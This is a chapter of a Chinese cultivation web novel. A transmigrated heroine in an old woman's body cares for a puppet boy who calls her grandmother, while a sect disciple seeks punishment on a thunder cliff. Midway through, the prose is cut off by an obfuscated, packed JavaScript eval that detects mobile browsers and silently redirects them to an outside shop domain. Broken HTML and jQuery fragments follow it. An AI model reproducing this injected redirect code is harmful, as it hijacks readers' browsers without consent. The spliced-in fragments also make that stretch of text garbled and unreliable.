“大娘,您可慢点起身。身上的伤还没好利索呢。”
腿根传来钻心刺骨的疼,让江越歇下了继续乱动的心思。
[方慧云:西华城方家二小姐。坚韧果决、善解人意;当前炼气七层,医修,师承巫族圣女。]
这回的紫框人物卡,倒是替来者发了张好人牌。
可前三回的提示还是太刻骨铭心了些,江越免不得犹疑,“安全了吗?”
方慧云拿着汤匙,将汤药抹在她干裂的唇部,“大娘,你放心,平阳城现在还算安全……”
忽而,她似乎是想了什么,对着屋外大喊,“阿戊!你外祖母醒了,快来瞧瞧!”
闻言,一个约莫五六岁的男孩冲进来。
软嫩的小手紧紧握住了江越露在被褥外的枯手,将其举到他的脸颊边上。
他止不住地抽噎道,“外祖母……您没事可太好了……”
江越:不是?你谁啊?我又是谁啊?怎么一睁眼就超级加辈了?
“难道这就是你给我挑的新身体?”江越一面用拇指揩去他脸上的泪痕,一面在心底质问系统。
[宿主大人,您不记得之前有路过的修士救下了咱?]
“好像是有这么一茬,那这小子又是怎么回事?”
系统沉默半晌,才斟酌着开口。
[是您契约的那个木偶。]
江越:……
“慧云姐姐,你去照顾别的伤员吧,外祖母这就由我来照拂。”
阿戊扯着方慧云的衣袖,眼瞳清亮,“我刚替你看了火,应当是差不多了。”
他主动接过药碗,坐在床榻边的板凳上,像模像样地给江越喂药。就是不小心流出的汤药,他也会拿丝帕擦去,以免弄脏被褥。
见她俩配合默契,方慧云便安心地离开去忙了——
西北面的嘉裕城正在遭受魔兽潮袭击,战役太过残酷,百姓流离失所,不少人逃难来了平阳城。像大娘这样的伤患还有很多,仅有她一人定是忙不过来。
不过还好,平阳城主已向最近的玄天派去信,想必得到本地仙门的相助,定能早日结束魔兽潮。
木屋内,陈设简陋,怕被人听去,江越刻意压低了声音,“现在没有旁人,我们来聊聊吧。”
阿戊只当是外祖母想要解闷,便率先开启了话匣子,“外祖母,慧云姐姐可厉害了,您腿上少了肉,她都能替您医好!”
“来这城里避难的人很多,阿戊就替慧云姐姐去分拣药材、盯药壶。她可经常夸阿戊呢,还问我想不想和她学医。”
江越本想和他挑明真相,却被他一连串的话语堵了回去,只好模仿着老一辈的口气回问道,“那你想学医吗?”
只见他摇摇头,坚定表态:“阿戊要习剑!阿戊想保护外祖母。”
江越:还好还好,不学医。
她不知修仙界的医修是怎样,只是想到远在现实的发小那快比人高的蓝色生死恋,下意识地庆幸阿戊的决定。
江越倚在枕塌上喝药,顺道听他将近日的琐事都说了个遍,刚抬起手,阿戊便将自己毛茸茸的脑袋塞入她掌心,活像个讨人欢心的猫儿。
这般生动鲜活的模样,换任何人都难以想象这仅是个木质的人偶幻化而成的。
[宿主大人,统刚接到主系统的通知……]
[原本的西幻世界已有新任务者接盘,如果您还想回家,就只能在这里重启任务了。]
与此同时,一条空荡荡的进度条浮现眼前,江越只觉天旋地转,“什么?!那我岂不是白干了!”
[也不算吧?主系统说了,这次的救世任务,您只用完成百分之五十足矣。]
说是百分之五十,但实质上和百分百没差吧!
总不可能干一半,会有人替她收摊么?
简直欺人太甚!
专盯着她一个人薅。
命苦!
呜呜,这药也好苦。
两行泪水绕过道道沟壑,砸进瓷碗中。
这泪来得突然,阿戊不知自己是否说错了话,引得外祖母不悦,赶忙认错,“阿戊愚昧,烦请外祖母责罚。”
说着,他便“咚——”的一声跪倒在地,俨然低眉顺眼的模样。
此般阵仗反倒让江越止住了泪,“这木偶出场设置就这样吗?”
[统也不清楚呢。]
见她没有反应,阿戊收起药碗,猛磕三个响头,继续道,“阿戊亦不该自作聪明,贸然行事,我愿受外祖母处罚!”
*
玉清宗,执法堂。
一青年跪在二位当值长老跟前,“玉宸贸然行事,自请去思过崖受罚!”
两位长老对过眼神,都从对方面上读出不可思议的表情,默契地通过识海交流。
“玉宸师侄这是怎么?我记得他不是在洞府闭关吗?”
“对啊!闭关打坐能行什么事?”
“由他去罢。或许他只是想念思过崖的紫雷了……”
“……我记得,师侄每次都能借机突破。这莫不是什么踏破瓶颈的关窍?”
“改日,咱要不也去试试?”
……
玉清宗所在山脉已是中洲之最,思过崖更是全宗的至高点,几乎抬手便能触及阴云之中跃动的紫雷。
据说,这是创宗祖师玉衡道祖在飞升之际,设法囚下的渡劫雷云,用以磨砺弟子道心。
可千百年来,此地已沦落为执法堂的附庸,仅行惩戒之能。像谢天祁这般愿主动寻来的弟子,更是一个巴掌都能数尽。
眼下,天际盘踞的紫雷形似猛虎,轰鸣咆哮声震耳欲聋,每一下都似在诘问他的道心。
谢天祁只身立于尖耸怪石之顶,一如往日那样,退去法衣、卸下本命灵剑,任凭长风将衣衫吹得咧咧作响。
昨日梦魇,犹在眼前——
他看不得那人的做派,当即将其一剑诛杀;鲜血四溅,人头落地,救护之人亦用恐惧的眼神看他。
可这么做,对么?
即便是做完这一切,所有的结果都展现在眼前,他仍是不知。
是啊。
就因没有答案,他才来这里的。
和幼时跪在家族祠堂里那样,挨过鞭子,他自然就能想通了……
*
“不必。”
“你是个善良的好孩子。”
听到这话,阿戊脑袋有点发蒙,任由额前破皮处渗出的血液顺着淌下。
江越顾不得身上的疼痛,忙不迭下床将人搂入怀中,规律地轻抚他的后背,“阿戊不怕……我在。”
她始终没法平和地接受自己“外祖母”的身份,却又切实担心孩子,“系统,我想起来了,系统空间里我应当存着不少武器、魔药、卷轴之类的,可还能取用?”
[宿主大人,可以取,但是用可能……]
“嗯?”
[统已经提前查阅系统局前辈的资料,咱们这般中途切换世界的情况下,只有在新世界里成功复写法则后才能使用……]
“说人话。”
[均需您先在本世界复刻一遍,才可以被天道许可使用。]
“那没有相同材料呢?”
[找相近的,保证功效一致就行。]
江越没能讨到好,只能讥嘲道,“看来你们系统出纰漏的不在少数啊。”
算了,也不知普通的药剂是否能对他有效,毕竟,他本质上只是一个木偶。
江越思虑再三,决定还是先搓点光球给他服下。果然,在阿戊吞下两粒后,额前便已恢复如初。
“阿戊,可不要随意和别人提起,这是我们之间的秘密。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17866128|212201||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
闻言,男孩捂住自己的嘴,重重点头。
“是什么秘密呀?”
方慧云寻声赶来,只听见后半截,见江越瘫在地上赶忙将人扶回去。
脸板成一块铁,“诶呦,我说怎么这么大动静!大娘您可别再乱动,过来您这里,我都可以再多看两个病人了。下回还这样,我可就不管了。”
“抱歉,给你添麻烦了。”
江越知道她只是嘴上说说而已,就和她那发小一样。
可阿戊不懂这些弯弯绕绕,刷地拉长小脸。
他不明白。
明明他还替慧云姐姐看了火,怎么土壤便不愿替外祖母看病了。
那双乌亮的眸子盯她离去后,男孩才附在江越耳畔说道,“慧云姐姐不管您了,阿戊不要喜欢她了……”
听他童言童语,江越不禁轻笑出声,“那你还叫她慧云姐姐?”
阿戊矢口否认,“我才没有!”
这会儿,倒像个虚张声势的猫儿。
江越替他将濡湿的碎发捋到耳后,“慧云姐姐只是怕我再不听话、加重伤势,才这么说的。倒是你,刚那臭脸肯定被瞧见了,快去和姐姐道歉。”
“我不要。”他脸埋进被子里,发出闷闷的声音。
“可是,我需要一面镜子啊。如果阿戊不帮忙去找慧云姐姐要的话,那我就只能自己去了……”
闻言,阿戊直起身板,撇过头却又应下,“既然是外祖母要,我在去找慧……她一次吧。”
他刚走开几步,忽而跑回来,替江越掖好被角,嘱咐道,“外祖母再眯一会儿吧。”
*
听他的脚步声走远了,江越才安然阖眼,散出神识感受周遭,心念微动,形态迥异的两气团出现在她掌心。
一个纯净柔软,散发着温润的暖意;另一个浑浊粘稠,带着股挥之不去的糜烂气味。
这回,除去光元素外,还有暗元素。不过,在修仙界,她也该换个说法——灵气和魔气。
[宿主大人,您又在检测光暗比例吗?]
的确,以往还未成神前,她每天最常做的事情便是这:按区块抽取光暗元素,依据两者的比例,来判断那群魔物的下一步动作,避免还未建成的城郭遇袭。
“你不是资源本地化了吗?下回记得该换名称。”江越依次将其散去,“咱们也应该入乡随俗了。”
如若过去的经验可沿用至修仙界,那江越敢说,现在这个平阳城估计也撑不了太久。
江越看向自己如枯枝的双手,神色黯黯,长叹一口气。
*
红日西沉,暮色将影子拉得纤长。阿戊捧着镜子在门口徘徊许久,依旧没敢推门进去。
他虽年幼,但也明理。
适才,阿婆动作虽慈爱,却从未在话语中应下“外祖母”这个称呼。
他知道,她不是。
可他害怕。
害怕阿婆看清她和自己并不相像。
害怕被抛下。
害怕一个人。
明明他好不容易从无尽的黑夜中逃出来,好不容易有了愿意爱护自己的“家人”。
他不想失去。
那要不要装作不小心打碎镜子呢?
阿戊如擂战鼓,双眼一眨不眨地盯着她看,生怕错落她脸上任何一个表情。
失望、愤怒,但好在最终归于平静。
“好孩子,麻烦你把镜子还回去吧。”
他耳尖烫得吓人,连忙揣上镜子,飞奔出去。后头传来叮嘱的声音,“阿戊,跑慢些。”
不知怎的,他心底像吃过慧云姐姐给的饴糖样甜。
他决定了。
今晚,他要去给慧云姐姐帮忙,好再要一颗。
这样,等明天外祖母喝药的时候,她就不会觉得苦了。